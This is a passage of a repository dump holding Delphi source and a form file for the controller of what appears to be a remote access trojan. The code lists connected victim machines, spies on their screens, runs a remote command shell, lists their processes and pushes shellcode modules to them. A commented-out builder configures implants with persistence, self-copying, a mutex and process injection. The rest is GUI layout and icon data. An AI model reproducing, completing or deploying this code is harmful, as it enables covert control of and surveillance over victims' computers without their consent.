ctx.SendPing;\n          ctx.Image_Index := GetCountryImageIndex(msgpack.S['language']);\n\n          if not g_ShowThumbnail then\n            li.ImageIndex := ctx.Image_Index\n          else\n            ctx.SendCmd(CMD_THUMBANIL_START);\n\n          li.Data := ctx;\n          ctx.Data := li;\n          ListView_Connections.Items.EndUpdate;\n\n          ShowBalloonHint(msgpack.S['id'], ctx.RemoteAddr, GetOsVersion(msgpack.S['os']));\n          UpdateStatusBarAndHint;\n        end;\n      CMD_PING:\n        begin\n        // reply pong then update ping\n          ctx.SendCmd(CMD_PONG);\n          ctx.SendPing();\n        end;\n      CMD_PONG:\n        begin\n          cmsg.buffer.Read(temp, SizeOf(temp));\n          if ctx.Data <> nil then\n          begin\n            TListItem(ctx.Data).SubItems[9] := IntToStr(GetTickCount() - temp);\n            TListItem(ctx.Data).Update;\n          end;\n        end;\n      CMD_THUMBNAIL_DATA:\n        begin\n          if g_ShowThumbnail and (ctx.Data <> nil) then\n          begin\n            bmp := TBitmap.Create;\n            try\n              bmp := TBitmap.Create;\n              bmp.LoadFromStream(cmsg.buffer);\n\n              if (ctx.Thumbnail_Index = -1) then\n                ctx.Thumbnail_Index := ImageList_Thumbnail.Add(bmp, nil)\n              else\n                ImageList_Thumbnail.Replace(ctx.Thumbnail_Index, bmp, nil);\n\n              TListItem(ctx.Data).ImageIndex := ctx.Thumbnail_Index;\n              TListItem(ctx.Data).Update;\n            finally\n              FreeAndNil(bmp);\n            end;\n          end;\n        end;\n      CMD_SCREENSPY_START:\n        begin\n          TOperateForm(ctx.OperateForm).SetScreenSpyState(True);\n        end;\n      CMD_SCREENSPY_DATA:\n        begin\n          cmsg.buffer.Read(mouse_pt, SizeOf(mouse_pt));\n          bmp := TBitmap.Create;\n          try\n            while (cmsg.buffer.Read(bmp_pt, SizeOf(bmp_pt)) <> 0) do\n            begin\n              bmp.LoadFromStream(cmsg.buffer);\n              TOperateForm(ctx.OperateForm).ScreenSpyDraw(mouse_pt, bmp_pt, bmp);\n            end;\n          finally\n            FreeAndNil(bmp);\n          end;\n        end;\n      CMD_SCREENSPY_END:\n        begin\n          TOperateForm(ctx.OperateForm).SetScreenSpyState(False);\n        end;\n      CMD_PROCESS_LIST:\n        begin\n          with TOperateForm(ctx.OperateForm) do\n          begin\n            ClearProcesses;\n            while (cmsg.buffer.Position <> cmsg.buffer.Size) do\n            begin\n              msgpack.DecodeFromStream(cmsg.buffer);\n              AddProcessesItem(msgpack.Items[0].AsString, msgpack.Items[1].AsString);\n            end;\n          end;\n        end;\n      CMD_CMDSHELL_START:\n        begin\n          TOperateForm(ctx.OperateForm).SetCmdShellState(True);\n        end;\n      CMD_CMDSHELL_DATA:\n        begin\n          msgpack.DecodeFromStream(cmsg.buffer);\n          TOperateForm(ctx.OperateForm).AddToCmdShell(PAnsiChar(msgpack.AsBytes));\n        end;\n      CMD_CMDSHELL_END:\n        begin\n          TOperateForm(ctx.OperateForm).SetCmdShellState(False);\n        end;\n      CMD_SHELLCODE_MAIN:\n        begin\n          Memo_Stats.Lines.Add(Format('send shellcode main, size = 0x%x.', [get_information_size()]));\n          ctx.SendCmd(CMD_SHELLCODE_MAIN, get_main_ptr(), get_main_size());\n        end;\n      CMD_SHELLCODE_INFORMATION:\n        begin\n          Memo_Stats.Lines.Add(Format('send shellcode information, size = 0x%x.', [get_information_size()]));\n          ctx.SendCmd(CMD_SHELLCODE_INFORMATION, get_information_ptr(), get_information_size());\n        end;\n      CMD_SHELLCODE_CMD_SHELL:\n        begin\n          Memo_Stats.Lines.Add(Format('send shellcode cmd_shell, size = 0x%x.', [get_cmd_shell_size()]));\n          ctx.SendCmd(CMD_SHELLCODE_CMD_SHELL, get_cmd_shell_ptr(), get_cmd_shell_size());\n        end;\n      CMD_SHELLCODE_THUMBNAIL:\n        begin\n          Memo_Stats.Lines.Add(Format('send shellcode thumbnail, size = 0x%x.', [get_thumbnail_size()]));\n          ctx.SendCmd(CMD_SHELLCODE_THUMBNAIL, get_thumbnail_ptr(), get_thumbnail_size());\n        end;\n      CMD_SHELLCODE_SCREENSPY:\n        begin\n          Memo_Stats.Lines.Add(Format('send shellcode screenspy, size = 0x%x.', [get_screenspy_size()]));\n          ctx.SendCmd(CMD_SHELLCODE_SCREENSPY, get_screenspy_ptr(), get_screenspy_size());\n        end;\n      CMD_SHELLCODE_PROCESS:\n        begin\n          Memo_Stats.Lines.Add(Format('send shellcode process, size = 0x%x.', [get_process_size()]));\n          ctx.SendCmd(CMD_SHELLCODE_PROCESS, get_process_ptr(), get_process_size());\n        end;\n    else\n      begin\n        Memo_Stats.Lines.Add('unknow proto');\n      end;\n    end;\n  except\n    on e: Exception do\n    begin\n      Memo_Stats.Lines.Add('exception' + e.Message);\n    end;\n  end;\n\n  FreeAndNil(msgpack);\nend;\n\nprocedure TMainForm.OnConnected(var msg: TMessage);\nvar\n  ctx: TClientContext;\nbegin\n  ctx := TClientContext(msg.WParam);\n  Memo_Stats.Lines.Add('connected: ' + ctx.RemoteAddr + ':' + IntToStr(ctx.RemotePort));\nend;\n\nprocedure TMainForm.OnDisConnected(var msg: TMessage);\nvar\n  ctx: TClientContext;\n  form: TOperateForm;\nbegin\n  ctx := TClientContext(msg.WParam);\n  Memo_Stats.Lines.Add('disconnected: ' + ctx.RemoteAddr + ':' + IntToStr(ctx.RemotePort));\n  if (ctx.Data <> nil) then\n  begin\n    ListView_Connections.Items.Delete(TListItem(ctx.Data).Index);\n  end;\n\n  form := TOperateForm(ctx.OperateForm);\n  if (form <> nil) then\n  begin\n    form.Close;\n    FreeAndNil(form);\n  end;\n\n  UpdateStatusBarAndHint;\nend;\n\nprocedure TMainForm.RadioButton_ActiveXClick(Sender: TObject);\nbegin\n  SpeedButton_1.Visible := RadioButton_ActiveX.Checked;\nend;\n\nprocedure TMainForm.RadioButton_CurrentRunClick(Sender: TObject);\nbegin\n  SpeedButton_1.Visible := RadioButton_ActiveX.Checked;\n\n  if CheckBox_Startup.Checked then\n  begin\n    Edit_StartupName.Enabled := True;\n    SpeedButton_1.Enabled := True;\n\n    Edit_StartupName.Color := clWindow;\n  end;\nend;\n\nprocedure TMainForm.ResetStats;\nbegin\n  g_TotalConnections := 0;\n  g_TotalAttempts := 0;\n  g_Sent_UnCompressed := 0;\n  g_Recv_UnCompressed := 0;\n  Memo_Stats.Lines.Clear;\n  FTcpServer.DataMoniter.Clear;\n  UpdateStats;\nend;\n\nprocedure TMainForm.ShowBalloonHint(id, addr, os: string);\nvar\n  sl: TStringList;\nbegin\n  if g_ShowBalloonHint then\n  begin\n    sl := TStringList.Create;\n    try\n      sl.Append(Format('%s connected from %s!', [id, addr]));\n      sl.Append(os);\n      CoolTrayIcon1.ShowBalloonHint('New Connection!', sl.Text, bitInfo, 10);\n    finally\n      FreeAndNil(sl);\n    end;\n  end;\nend;\n\nprocedure TMainForm.SpeedButton_1Click(Sender: TObject);\nvar\n  guid: TGUID;\nbegin\n  CreateGUID(guid);\n  Edit_StartupName.Text := GUIDToString(guid);\nend;\n\nprocedure TMainForm.SpeedButton_2Click(Sender: TObject);\nbegin\n  InfoBox('Only change these values if you know what they do!');\nend;\n\nprocedure TMainForm.SpeedButton_3Click(Sender: TObject);\nbegin\n  InfoBox('The server will try to inject into this process 4 times');\nend;\n\nprocedure TMainForm.SpeedButton_4Click(Sender: TObject);\n//var\n  //builder: TBuilder;\nbegin\n//  if Edit_DnsList.Text = '' then\n//  begin\n//    ErrorBox('DNSList is empty');\n//    Exit;\n//  end;\n//\n//  if Edit_ID.Text = '' then\n//  begin\n//    ErrorBox('Must Input ID');\n//    Exit;\n//  end;\n//\n//  if Edit_Password.Text = '' then\n//  begin\n//    ErrorBox('Must Input password');\n//    Exit;\n//  end;\n//\n//  if CheckBox_Socks5.Checked then\n//  begin\n//    if Edit_Socks5_Server.Text = '' then\n//    begin\n//      ErrorBox('Must Input socks DNS');\n//      Exit;\n//    end;\n//  end;\n//\n//  if CheckBox_Startup.Checked then\n//  begin\n//    if Edit_StartupName.Text = '' then\n//    begin\n//      ErrorBox('Must Input startup name');\n//      Exit;\n//    end;\n//  end;\n//\n//  if CheckBox_CopySelf.Checked then\n//  begin\n//    if Edit_FileName.Text = '' then\n//    begin\n//      ErrorBox('Must Input copy to filename');\n//      Exit;\n//    end;\n//  end;\n//\n//  if Edit_Mutex.Text = '' then\n//  begin\n//    ErrorBox('Must Input mutex name');\n//    Exit;\n//  end;\n//\n//  if CheckBox_Inject.Checked then\n//  begin\n//    if RadioButton_InjectCustom.Checked then\n//    begin\n//      if Edit_InjectProcess.Text = '' then\n//      begin\n//        ErrorBox('Must input custom process name');\n//        Exit;\n//      end;\n//    end;\n//  end;\n//\n//\n//  builder := TBuilder.Create;\n//  try\n//    builder.WriteDNSList(Edit_DnsList.Text);\n//    builder.WriteID(Edit_ID.Text);\n//    builder.WritePassword(Edit_Password.Text);\n//    if CheckBox_Socks5.Checked then\n//    begin\n//      builder.WriteSocks5(Edit_Socks5_Server.Text, Edit_Socks5_Username.Text, Edit_Socks5_Password.Text, SpinEdit_Socks5_Port.Value);\n//    end;\n//\n//    if CheckBox_Startup.Checked then\n//    begin\n//      builder.WriteStartUp(RadioButton_ActiveX.Checked, Edit_StartupName.Text);\n//    end;\n//\n//    if CheckBox_CopySelf.Checked then\n//    begin\n//      builder.WriteInstallation(RadioButton_SystemFolder.Checked, Edit_FileName.Text);\n//    end;\n//\n//    builder.WriteMutex(Edit_Mutex.Text);\n//\n//    if CheckBox_Inject.Checked then\n//    begin\n//      builder.WriteInject(RadioButton_InjectIE.Checked, Edit_InjectProcess.Text);\n//    end;\n//\n//    builder.WriteConfigEnd;\n//\n//    if RadioButton_Binary.Checked then\n//    begin\n//      dlgSave1.DefaultExt := '.bin';\n//      dlgSave1.Filter := 'binary file(*.bin)|*.bin;';\n//      if dlgSave1.Execute(Handle) then\n//        builder.SaveToBinary(dlgSave1.FileName);\n//    end\n//    else if RadioButton_CArray.Checked then\n//    begin\n//      dlgSave1.DefaultExt := '.c';\n//      dlgSave1.Filter := 'c file(*.c)|*.c;';\n//      if dlgSave1.Execute(Handle) then\n//        builder.SaveToCArray(dlgSave1.FileName);\n//    end\n//    else if RadioButton_DelphiArray.Checked then\n//    begin\n//      dlgSave1.DefaultExt := '.inc';\n//      dlgSave1.Filter := 'delphi file(*.inc)|*.inc;';\n//      if dlgSave1.Execute(Handle) then\n//        builder.SaveToCArray(dlgSave1.FileName);\n//    end\n//    else if RadioButton_PythonArray.Checked then\n//    begin\n//      dlgSave1.DefaultExt := '.py';\n//      dlgSave1.Filter := 'python file(*.py)|*.py;';\n//      if dlgSave1.Execute(Handle) then\n//        builder.SaveToCArray(dlgSave1.FileName);\n//    end;\n//  finally\n//    FreeAndNil(builder);\n//  end;\nend;\n\nprocedure TMainForm.SpeedButton_AddClick(Sender: TObject);\nbegin\n  DnsForm.LoadFromString(Edit_DnsList.Text);\n  if DnsForm.ModalResult = mrOk then\n  begin\n    Edit_DnsList.Text := DnsForm.DNSList();\n  end;\nend;\n\nprocedure TMainForm.SpeedButton_ResetStatsClick(Sender: TObject);\nbegin\n  ResetStats;\nend;\n\nprocedure TMainForm.SpeedButton_SaveClick(Sender: TObject);\nbegin\n  if SpinEdit_Port.Value <> g_ListeningPort then\n  begin\n    g_ListeningPort := SpinEdit_Port.Value;\n    StartServer;\n  end;\n\n  SwitchBalloonHintState(CheckBox_ShowBallontip.Checked);\n  SwitchThumbnailState(CheckBox_Thumbnail.Checked);\n  UpdateStatusBarAndHint;\nend;\n\nprocedure TMainForm.SpeedButton_VersionClick(Sender: TObject);\nvar\n  sl: TStringList;\nbegin\n  sl := TStringList.Create;\n  try\n    sl.Add('This Client version(0.0.1) is compatible with then');\n    sl.Add('following Server versions');\n    sl.Add('0.0.1');\n    InfoBox(sl.Text);\n  finally\n    FreeAndNil(sl);\n  end;\nend;\n\nprocedure TMainForm.StartServer;\nbegin\n  try\n    if FTcpServer.Active then\n      FTcpServer.SafeStop;\n    FTcpServer.Port := g_ListeningPort;\n    FTcpServer.Open;\n    UpdateStatusBarAndHint;\n  except\n    on e: Exception do\n    begin\n      g_ListeningPort := 0;\n      UpdateStatusBarAndHint;\n      ErrorBox('Startup error');\n      TabSet_1.TabIndex := 2;\n    end;\n  end;\nend;\n\nprocedure TMainForm.TabSet_1Change(Sender: TObject; NewTab: Integer; var AllowChange: Boolean);\nbegin\n  PageControl_Main.ActivePageIndex := NewTab;\n  FormResize(Self);\nend;\n\nprocedure TMainForm.Timer_StatsTimer(Sender: TObject);\nbegin\n  UpdateStats;\nend;\n\nprocedure TMainForm.SwitchBalloonHintState(b: Boolean);\nbegin\n  g_ShowBalloonHint := b;\n  CheckBox_ShowBallontip.Checked := b;\n  MenuItem_EnableBalloontip1.Checked := b;\nend;\n\nprocedure TMainForm.SwitchThumbnailState(b: Boolean);\nvar\n  i: Integer;\nbegin\n  g_ShowThumbnail := b;\n  MenuItem_thumbnail.Checked := g_ShowThumbnail;\n  CheckBox_Thumbnail.Checked := g_ShowThumbnail;\n\n  if g_ShowThumbnail then\n  begin\n    for i := 0 to ListView_Connections.Items.Count - 1 do\n    begin\n      ListView_Connections.Items[i].ImageIndex := -1;\n    end;\n\n    ListView_Connections.SmallImages := ImageList_Thumbnail;\n    ListView_Connections.Columns.Items[0].Width := 200;\n\n    for i := 0 to ListView_Connections.Items.Count - 1 do\n    begin\n      TClientContext(ListView_Connections.Items[i].Data).SendCmd(CMD_THUMBANIL_START);\n    end;\n  end\n  else\n  begin\n    for i := 0 to ListView_Connections.Items.Count - 1 do\n    begin\n      ListView_Connections.Items[i].ImageIndex := -1;\n      TClientContext(ListView_Connections.Items[i].Data).Thumbnail_Index := -1;\n      TClientContext(ListView_Connections.Items[i].Data).SendCmd(CMD_THUMBANIL_END);\n    end;\n\n    ImageList_Thumbnail.Clear;\n    ListView_Connections.SmallImages := ImageList_Flags;\n    ListView_Connections.Columns.Items[0].Width := 100;\n\n    for i := 0 to ListView_Connections.Items.Count - 1 do\n    begin\n      ListView_Connections.Items[i].ImageIndex := TClientContext(ListView_Connections.Items[i].Data).Image_Index;\n    end;\n  end;\nend;\n\nprocedure TMainForm.UpdateStats;\nvar\n  sent, recvd, sentu, recvu: Int64;\nbegin\n  sent := FTcpServer.DataMoniter.SentSize;\n  recvd := FTcpServer.DataMoniter.RecvSize;\n  sentu := g_Sent_UnCompressed;\n  recvu := g_Recv_UnCompressed;\n\n  Label_TotalConnections.Caption := Format('Total connections: %d', [g_TotalConnections]);\n  Label_TotalAttempts.Caption := Format('Total connection attempts: %d', [g_TotalAttempts]);\n  Label_Sent_Compressed.Caption := 'Compressed: ' + SizeToStr(sent);\n  Label_Sent_UnCompressed.Caption := 'Uncompressed: ' + SizeToStr(sentu);\n  if sentu <> 0 then\n  begin\n    Label_Sent_Ratio.Caption := 'Ratio: ' + IntToStr(sent * 100 div sentu) + ' %';\n  end\n  else\n  begin\n    Label_Sent_Ratio.Caption := 'Ratio: 0 %';\n  end;\n  Label_Recv_Compressed.Caption := 'Compressed: ' + SizeToStr(recvd);\n  Label_Recv_UnCpmoressed.Caption := 'Uncompressed: ' + SizeToStr(recvu);\n  if recvu <> 0 then\n  begin\n    Label_Recv_Ratio.Caption := 'Ratio: ' + IntToStr(recvd * 100 div recvu) + ' %';\n  end\n  else\n  begin\n    Label_Recv_Ratio.Caption := 'Ratio: 0 %';\n  end;\nend;\n\nprocedure TMainForm.UpdateStatusBarAndHint;\nvar\n  port, connections: string;\nbegin\n  port := Format('Port: %d', [g_ListeningPort]);\n  connections := Format('Connections(s): %d', [ListView_Connections.Items.Count]);\n  StatusBar_1.Panels.Items[2].Text := port;\n  StatusBar_1.Panels.Items[3].Text := connections;\n  CoolTrayIcon1.Hint := port + #13#10 + connections;\nend;\n\nend.\n\n"
  },
  {
    "path": "Client/FormOperate.dfm",
    "content": "object OperateForm: TOperateForm\n  Left = 0\n  Top = 0\n  Caption = 'OperateForm'\n  ClientHeight = 640\n  ClientWidth = 913\n  Color = clScrollBar\n  Font.Charset = DEFAULT_CHARSET\n  Font.Color = clWindowText\n  Font.Height = -11\n  Font.Name = 'Tahoma'\n  Font.Style = []\n  OldCreateOrder = False\n  Position = poMainFormCenter\n  OnClose = FormClose\n  OnCreate = FormCreate\n  OnDestroy = FormDestroy\n  PixelsPerInch = 96\n  TextHeight = 13\n  object PageControl_1: TPageControl\n    Left = 0\n    Top = 0\n    Width = 913\n    Height = 640\n    ActivePage = TabSheet_CmdShell\n    Align = alClient\n    Style = tsFlatButtons\n    TabOrder = 0\n    ExplicitWidth = 643\n    ExplicitHeight = 311\n    object TabSheet_CmdShell: TTabSheet\n      Caption = 'CMD Shell'\n      ExplicitWidth = 635\n      ExplicitHeight = 280\n      object Memo_CmdShell: TMemo\n        Left = 0\n        Top = 0\n        Width = 905\n        Height = 609\n        Align = alClient\n        Color = clScrollBar\n        Font.Charset = DEFAULT_CHARSET\n        Font.Color = clHighlightText\n        Font.Height = -11\n        Font.Name = 'Tahoma'\n        Font.Style = []\n        ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n        ParentFont = False\n        PopupMenu = PopupMenu_CmdShell\n        ScrollBars = ssVertical\n        TabOrder = 0\n        OnKeyPress = Memo_CmdShellKeyPress\n        ExplicitWidth = 635\n        ExplicitHeight = 280\n      end\n    end\n    object TabSheet_Processes: TTabSheet\n      Caption = 'Processes'\n      ImageIndex = 1\n      ExplicitWidth = 635\n      ExplicitHeight = 280\n      object ListView_Processes: TListView\n        Left = 0\n        Top = 0\n        Width = 905\n        Height = 609\n        Align = alClient\n        Columns = <\n          item\n            Caption = 'pid'\n          end\n          item\n            AutoSize = True\n            Caption = 'process name'\n          end>\n        GridLines = True\n        ReadOnly = True\n        RowSelect = True\n        PopupMenu = PopupMenu_Processes\n        TabOrder = 0\n        ViewStyle = vsReport\n        ExplicitLeft = 216\n        ExplicitTop = 88\n        ExplicitWidth = 250\n        ExplicitHeight = 150\n      end\n    end\n    object TabSheet_ScreenSpy: TTabSheet\n      Caption = 'ScreenSpy'\n      ImageIndex = 2\n      ExplicitWidth = 635\n      ExplicitHeight = 280\n      object ScrollBox_ScreenSpy: TScrollBox\n        Left = 0\n        Top = 37\n        Width = 905\n        Height = 572\n        Align = alClient\n        TabOrder = 0\n        ExplicitTop = 41\n        ExplicitWidth = 635\n        ExplicitHeight = 239\n        object PaintBox_ScreenSpy: TPaintBox\n          Left = 0\n          Top = 0\n          Width = 901\n          Height = 568\n          Align = alClient\n          OnPaint = PaintBox_ScreenSpyPaint\n          ExplicitLeft = 184\n          ExplicitTop = 96\n          ExplicitWidth = 105\n          ExplicitHeight = 105\n        end\n      end\n      object Panel_1: TPanel\n        Left = 0\n        Top = 0\n        Width = 905\n        Height = 37\n        Align = alTop\n        TabOrder = 1\n        object Label_1: TLabel\n          Left = 40\n          Top = 10\n          Width = 38\n          Height = 13\n          Caption = 'Quality:'\n        end\n        object Button_ScreenSpy_Start: TButton\n          Left = 368\n          Top = 6\n          Width = 75\n          Height = 25\n          Caption = 'Start'\n          TabOrder = 0\n          OnClick = Button_ScreenSpy_StartClick\n        end\n        object Button_ScreenSpy_End: TButton\n          Left = 449\n          Top = 6\n          Width = 75\n          Height = 25\n          Caption = 'End'\n          Enabled = False\n          TabOrder = 1\n          OnClick = Button_ScreenSpy_EndClick\n        end\n        object ComBox_ScreenSpy_Quality: TComboBox\n          Left = 112\n          Top = 8\n          Width = 145\n          Height = 21\n          Style = csDropDownList\n          ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n          ItemIndex = 0\n          TabOrder = 2\n          Text = '1bits'\n          Items.Strings = (\n            '1bits'\n            '4bits'\n            '8bits'\n            '16bits'\n            '32bits')\n        end\n      end\n    end\n  end\n  object ImageList_TreeViewMenu: TImageList\n    Left = 526\n    Top = 67\n    Bitmap = {\n      494C01014E0054000C0010001000FFFFFFFFFF10FFFFFFFFFFFFFFFF424D3600\n      0000000000003600000028000000400000004001000001002000000000000040\n      0100000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000008080000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000FFFF0000808000000000000000000000FFFF000000\n      0000000000000080800000808000000000000000000000000000000000000000\n      0000000000000000000000000000707272000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000FFFF000080800000808000FFFFFF000000\n      00000080800000FFFF0000000000000000000000000000000000000000000000\n      00000000000075797900646768005E6262000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000008080000000000000FFFF00FFFFFF0000FFFF00FFFF\n      FF0000FFFF000000000000808000000000000000000000000000000000000000\n      000075797900686C6C00717676005E6262000000000000000000000000000000\n      0000998FEF003C31ED005645E700000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000080800000FFFF00FFFFFF0000000000000000000000\n      0000FFFFFF0000FFFF0000808000000000007176760070727200686C6C00686C\n      6C00686C6C004F5050005E6262005E6262000000000000000000000000000000\n      0000000000003C2DE6003C31ED00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000008080000000000000000000FFFFFF000000\n      000000000000FFFFFF000000000000000000757979009899990075797900686C\n      6C00525252003E3E3E005D5E5E005E626200000000000000000000000000544C\n      ED000000000000000000443AED005645E7000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000FFFFFF00808080000000\n      000000000000808080000000000000FFFF000080800080808000FFFFFF000000\n      000000FFFF0000808000000000000000000080828200989999005E6262005E62\n      6200525252004848480065686800686C6C0000000000645BEA0000000000594F\n      E9004E3FE10000000000412FE1003A28E1000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000C0C0C0008080\n      800080808000FFFFFF0000000000008080000000000000000000FFFFFF000000\n      00000000000000FFFF00000000000000000080828200A8A8A800888A8A008082\n      82007C7C7C007176760080828200686C6C00000000006F67EC0000000000645B\n      EA005649E100000000004E3FE100412FE1000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000008080800000000000FFFF\n      FF0080808000FFFFFF00FFFFFF0000000000FFFFFF00C0C0C000808080000000\n      000000000000000000000000000000000000888A8A00C1C2C200BABABA00BABA\n      BA00989999008082820090909000717676000000000000000000000000006F67\n      EC0000000000000000005952ED006558E5000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000C0C0C000FFFFFF00FFFF\n      FF00000000000000000000000000FFFFFF00FFFFFF00FFFFFF00000000000000\n      000000000000000000000000000000000000888A8A0090909000909090009090\n      9000A8A8A800A8A8A800A0A1A100717676000000000000000000000000000000\n      0000000000006259E600605AED00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000008080800000000000808080000000\n      000000000000FFFFFF0000000000000000008080800000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00009090900098999900ACAEAE007C7C7C000000000000000000000000000000\n      0000000000006C68EC008278E700000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000FFFFFF00FFFF\n      FF0000000000FFFFFF0000000000FFFFFF00C0C0C00000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000098999900888A8A00808282000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000080808000C0C0C0000000\n      0000FFFFFF00808080000000000000000000FFFFFF0000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000909090000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000808080000000\n      000000000000FFFFFF0000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000008080800000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000DAC0A600DAC0\n      A600DCBEA200D9C0A80000000000000000000000000000000000BF887400CB6F\n      3300D27D4000D27D40007E848700509BC8004786B900809CBB00000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000095C4E30055A7D900529BD10000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000D9C0A800FAEBD500FFE1\n      C300FCD9B800F6D8BA00DCBEA20000000000509AE2007084AB00C87D5800FFB9\n      6500FFB66000FEAF5D006EAEC70085E9F9004CDAF5003D90C8003C85CB000000\n      00000000000000000000000000000000000000000000946B6500946B6500946B\n      6500946B6500946B6500946B6500000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000006FBFE90086E9F9004DDAF5004196CE00000000000000\n      0000000000000000000000000000000000000000000000000000000000009191\n      91009191910074747400747474006B6B6B00A68C7200FAEEDD00FFF5E000FAE1\n      C700F7D5B600F8D1AA00F6D8BA00D9C0A8003584D20092ABCC00E7AE7200FFB7\n      5E00FEAF5D00FEA65A006EAEC700A0E6F80037D2F20046D6F6003D90C8000000\n      000000000000000000000000000000000000D7AFAF00E5E2E200E8E7E700E3DD\n      DD00E3DDDD00E3DDDD00D3C0C000946B65000000000000000000000000000000\n      00000000000000000000000000000000000000000000C38E6800C08B6600BE88\n      6400BA856000B9835F005CA3C800A1E6F80038D2F20047D6F6003F93C800776B\n      6F00A2715800A2705700000000000000000000000000A2A2A200A2A2A200A2A2\n      A200C5C5C400D9D4D300D3CECD00D3CECD00D5B69A00F0C9A500EFD2B400DAC0\n      A600DCBEA200EFD2B400F7D5B600DCBEA20000000000B5735A00FDD7B100FFD6\n      8300FFCA6400FFBF5D00B3A985005F9FC20098E2F60052DCF50045D9F6003E93\n      CE00468DD300468DD3000000000000000000DBAFAF00F5F5F500F5F5F500E5E2\n      E200E8E7E700E3CFCF00D8B6B600946B65000000000000000000000000000000\n      000000000000000000000000000000000000C8926C00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00B4DAF20060B1E40099E2F60053DCF50046D9F6004196\n      CE00478ED300488FD6007C6B6D0000000000B1B1B100B1B1B100D5D4D400E0E0\n      E000C5BEBD00BDB5B300BDB5B300B9B1AE00D5B69A00EEC9A500E9C4A000D8BE\n      A500D8BEA500F6E6D200FAE1C700DAC0A6000000000000000000C87D5800FFE8\n      BF00ACA98500A69D7C009F917400CEBEA70066A4CB005EAFD4005DD9F2004CDA\n      